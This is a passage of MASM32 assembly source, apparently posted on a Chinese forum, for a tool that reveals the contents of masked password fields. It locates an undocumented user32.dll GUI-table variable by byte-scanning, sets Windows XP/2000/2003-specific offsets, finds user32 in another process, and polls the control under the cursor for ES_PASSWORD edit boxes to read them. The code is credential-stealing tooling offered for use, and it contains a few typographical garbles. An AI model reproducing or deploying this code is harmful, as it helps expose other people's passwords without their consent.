    mov  user32base,eax
    invoke _ProcessPeFile,user32base ;返回user32.dll的.data段的虚拟偏移
    invoke GetProcAddress,user32base,offset _UserRegisterWowHandlers
    .if eax!=NULL
      invoke RtlMoveMemory,offset buffercode,eax,1000
      mov esi,offset buffercode
      xor ebx,ebx
@@nextcode:   
      mov ax,word ptr [esi]
      .if ax==08C2h
        add esi,2
        mov al,byte ptr[esi]
        sub esi,2
        .if al==00h
          ;--找到ret 08(C20800)后,倒过去找mov eax,xxxxxxxx (B8 xxxxxxxx)
          sub esi,5
          sub ebx,5
@@nextcode2:         
          mov al,byte ptr [esi]
          .if al==0B8h
            inc esi
            mov eax,dword ptr [esi]
            dec esi
            mov varaddr,eax
          .else
          @@nextb8:
            dec esi
            dec ebx
            .if ebx>1            
              jmp @@nextcode2
            .else ;找不到mov eax,xxxxxxxx
              invoke MessageBox,0,offset errnocode,offset vp,1
              xor eax,eax
              ret
            .endif
          .endif
        .else
          jmp @@findother
        .endif
      .else
@@findother:      
        inc ebx
        inc esi
        .if ebx<1000d
          jmp @@nextcode
        .else ;找不到ret 08指令
          invoke MessageBox,0,offset errnocode,offset vp,1
          xor eax,eax
          ret
        .endif
      .endif
    .else ;找不到函数
     invoke MessageBox,0,offset errnowow,offset vp,1
     xor eax,eax
     ret
    .endif
    ;正常情况varaddr为USER32.DLL全局变量中记录当前线程GUI TABLE R3层地址的变量的地址
   
    mov ecx,user32base
    add ecx,VirtualAddress ;得到内存中user32.dll的全局变量的起始地址
    mov eax,varaddr
    sub eax,ecx ;变量的地址减全局变量起始地址
    ..if eax>0 && eax<VirtualSize ;变量的偏移大于0,小于变局变量总大小
    add eax,4
    mov VarOffset,eax
   
    .else
    jmp @@nextb8
    .endif
   
   
          ret
GetUnknowVarOffset endp
%

GetUnknowVarOffset proc uses esi edi ebx
          LOCAL  user32base:dword
          LOCAL  varaddr:dword  
          LOCAL  optable[2048]:byte
          LOCAL  oplen[256]:byte ;记录每个指令的长度,最多512个
         
    invoke LoadLibrary,offset user32dll
    mov  user32base,eax
    invoke _ProcessPeFile,user32base ;返回user32.dll的.data段的虚拟偏移
    invoke GetProcAddress,user32base,offset _UserRegisterWowHandlers
    .if eax!=NULL
      invoke RtlMoveMemory,offset buffercode,eax,1000
      mov esi,offset buffercode
;------------------------    利用LDE32库函数得到该函数中每个指令的长度:)
         
   
    lea eax,optable
    push eax
    call disasm_init ;解压缩&#39;指令长度表&#39;
   
   
    xor ebx,ebx
    lea edi,oplen
@@nextcode:
    push esi
    lea eax,optable
    push eax
    call disasm_main
    .if eax!=-1 && ebx<256
      mov cx,word ptr [esi]
      mov dl,byte ptr [esi+2]
      .if eax == 3 && cx == 08C2h && dl == 00 ;找到ret 08=C20800
      ;-------------------然后反过去找MOV EAX,XXXXXXXX  =B8 XXXXXXXX
      dec ebx
      
@@nextcode2:      
      mov AL,byte ptr [edi+ebx]
      movzx eax,al
      sub esi,eax
      mov cl,byte ptr [esi]
      .if al == 5 && cl == 0B8H
            inc esi
            mov eax,dword ptr [esi]
            mov varaddr,eax
            dec esi
      .else
@@nextb8:      
          dec ebx
          .if ebx >1
            jmp @@nextcode2
          .else
            jmp @@errcode
          .endif
      .endif
      
      .else
      mov byte ptr [edi+ebx],al      
      inc ebx
      add esi,eax            
      jmp @@nextcode
      .endif
    .else ;找不到RET 08指令
@@errcode:   
      invoke MessageBox,0,offset errnocode,offset vp,1
      xor eax,eax
      ret   
    .endif
;------------------------   
    .else ;找不到函数
      invoke MessageBox,0,offset errnowow,offset vp,1
      xor eax,eax
      ret
    .endif
    ;正常情况varaddr为USER32.DLL全局变量中记录当前线程GUI TABLE R3层地址的变量的地址
   
    mov ecx,user32base
    add ecx,VirtualAddress ;得到内存中user32.dll的全局变量的起始地址
    mov eax,varaddr
    sub eax,ecx ;变量的地址减全局变量起始地址
    .if eax>0 && eax<VirtualSize ;变量的偏移大于0,小于全局变量总大小
    add eax,4
    mov VarOffset,eax
    .else
    jmp @@nextb8
    .endif
   
   
          ret
GetUnknowVarOffset endp



GetUser32Base proc uses ebx esi edi remoteproid
      LOCAL hSnapshot:dword
      LOCAL modinfo:MODULEENTRY32
      LOCAL modname[256]:byte

    mov      modinfo.dwSize,sizeof MODULEENTRY32
    invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid
    mov   hSnapshot,eax
    invoke Module32First,hSnapshot,addr modinfo
    .while eax
    lea   ecx,modinfo.szModule
    invoke lstrcmpi,offset user32dll,ecx
    .if   eax == 0
        mov eax,modinfo.modBaseAddr
        ret
    .endif
    invoke Module32Next,hSnapshot,addr modinfo
    .endw
    invoke    CloseHandle,hSnapshot
   
        ret
GetUser32Base  endp   

_ProcessPeFile    proc _lpPeHead
        local    @szBuffer[1024]:byte,@szSectionName[16]:byte
      
    mov    esi,_lpPeHead
        assume    esi:ptr IMAGE_DOS_HEADER
    add    esi,[esi].e_lfanew
        mov    edi,esi
        assume    edi:ptr IMAGE_NT_HEADERS
        ;movzx    ecx,[edi].FileHeader.Machine
        ;movzx    edx,[edi].FileHeader.NumberOfSections
        ;movzx    ebx,[edi].FileHeader.Characteristics

;********************************************************************
; 循环显示每个节区的信息
;********************************************************************
        movzx    ecx,[edi].FileHeader.NumberOfSections
        add    edi,sizeof IMAGE_NT_HEADERS
        assume    edi:ptr IMAGE_SECTION_HEADER
        .repeat
            push    ecx
;********************************************************************
; 节区名称
;********************************************************************
            invoke    RtlZeroMemory,addr @szSectionName,sizeof @szSectionName
            push    esi
            push    edi
            mov    ecx,8
            mov    esi,edi
            lea    edi,@szSectionName
            cld
            @@:
            lodsb
            .if    ! al
                mov    al,&#39; &#39;
            .endif
            stosb
            loop    @B
            pop    edi
            pop    esi
;********************************************************************
      invoke lstrcmpi,offset dataname,addr @szSectionName
      .if eax == 0
          push [edi].VirtualAddress
          pop VirtualAddress
          push dword ptr [edi+8]
          pop VirtualSize
          ret
            .else   
            add    edi,sizeof IMAGE_SECTION_HEADER
            .endif
;********************************************************************
            pop    ecx
        .untilcxz
        assume    edi:nothing
        ret

_ProcessPeFile    endp




CheckOS proc
  LOCAL verinfo:OSVERSIONINFO

  mov   verinfo.dwOSVersionInfoSize,sizeof OSVERSIONINFO
  invoke GetVersionEx,addr verinfo
  .if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo..dwMajorVersion == 5 && verinfo.dwMinorVersion == 1)
    mov eax,1 ;xp
    mov passoffset,0A4H
    mov lenoffset ,14H
  .elseif (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 2)
    mov eax,1 ;2003
    mov passoffset,0A0H
    mov lenoffset ,0CH
  .elseif (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0)
    mov eax,1 ;2000
    mov passoffset,98H
    mov lenoffset ,0cH
  .else
    invoke MessageBox,0,offset erros,offset vp,1
    xor eax,eax ;9x,nt4
  .endif

    ret
CheckOS endp

_ProcDlgMain    proc    uses ebx edi esi, \
        hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD
        local    @stPoint:POINT
        local    @hWindow
        local  hBrush :dword
      local  rect:RECT
      local  LogBrush:LOGBRUSH

        mov    eax,wMsg
        .if    eax == WM_CLOSE
            invoke    EndDialog,hWnd,NULL
            invoke    KillTimer,hWnd,1
        .elseif    eax == WM_INITDIALOG
            push  hWnd
            pop   hWinMain
          invoke LoadIcon, hInstance, 1
          invoke SendMessage, hWnd, WM_SETICON, ICON_SMALL, eax
            invoke    SendDlgItemMessage,hWnd,ID_PWD,EM_SETREADONLY,TRUE,NULL
            invoke    SetWindowPos,hWnd,HWND_TOPMOST,0,0,0,0,\
                  SWP_NOMOVE or SWP_NOSIZE
            invoke    SetTimer,hWnd,1,2000,NULL
            invoke    LoadBitmap,hInstance,IDB_1
            invoke    SendDlgItemMessage,hWnd,IDC_BMP,STM_SETIMAGE,IMAGE_BITMAP,eax
            invoke GetWindowLong,hWnd, GWL_EXSTYLE
            or   eax,80000h
            invoke SetWindowLong,hWnd, GWL_EXSTYLE, eax
            invoke SetLayeredWindowAttributes,hWnd, 0, 220, 02h;LWA_ALPHA
      .elseif    eax ==    WM_CTLCOLORSTATIC
          RGB 0,0,0
          invoke    SetBkColor,wParam,eax
          invoke    SetTextColor,wParam,00aeaeaeh
          invoke    GetStockObject,HOLLOW_BRUSH
          ret      
        .elseif    eax == WM_ERASEBKGND
          mov LogBrush.lbStyle,BS_SOLID
          RGB 0,0,0
          mov LogBrush.lbColor,eax
          invoke CreateBrushIndirect,addr LogBrush
          mov hBrush,eax
          invoke GetClientRect,hWnd,addr rect
          invoke FillRect,wParam,addr rect,hBrush   
          mov eax,TRUE
          ret      
        .elseif    eax == WM_TIMER
            invoke    GetCursorPos,addr @stPoint
            invoke    WindowFromPoint,@stPoint.x,@stPoint.y
            mov    @hWindow,eax
            .if    eax !=    NULL
                invoke GetWindowLong,@hWindow,GWL_STYLE
                .if (eax & ES_PASSWORD)
          invoke GetClassName,@hWindow,offset classname,64
          invoke lstrcmpi,offset classname,offset editname
          .if eax == 0
          mov eax,@hWindow
          mov WINHAND,eax
          invoke ViewPass
          .endif                  
                .endif
            .endif
        .else
;********************************************************************
;    注意:对话框的消息处理后,要返回 TRUE,对没有处理的消息
;    要返回 FALSE
;********************************************************************
            mov    eax,FALSE
            ret
        .endif         
        mov    eax,TRUE
        ret
      
_ProcDlgMain    endp

include   \masm32\include\lde32bin.inc
;********************************************************************
start:
        invoke    GetModuleHandle,NULL
        mov    hInstance,eax
        invoke    DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,0
        invoke    ExitProcess,NULL
end    start

TOP

发新话题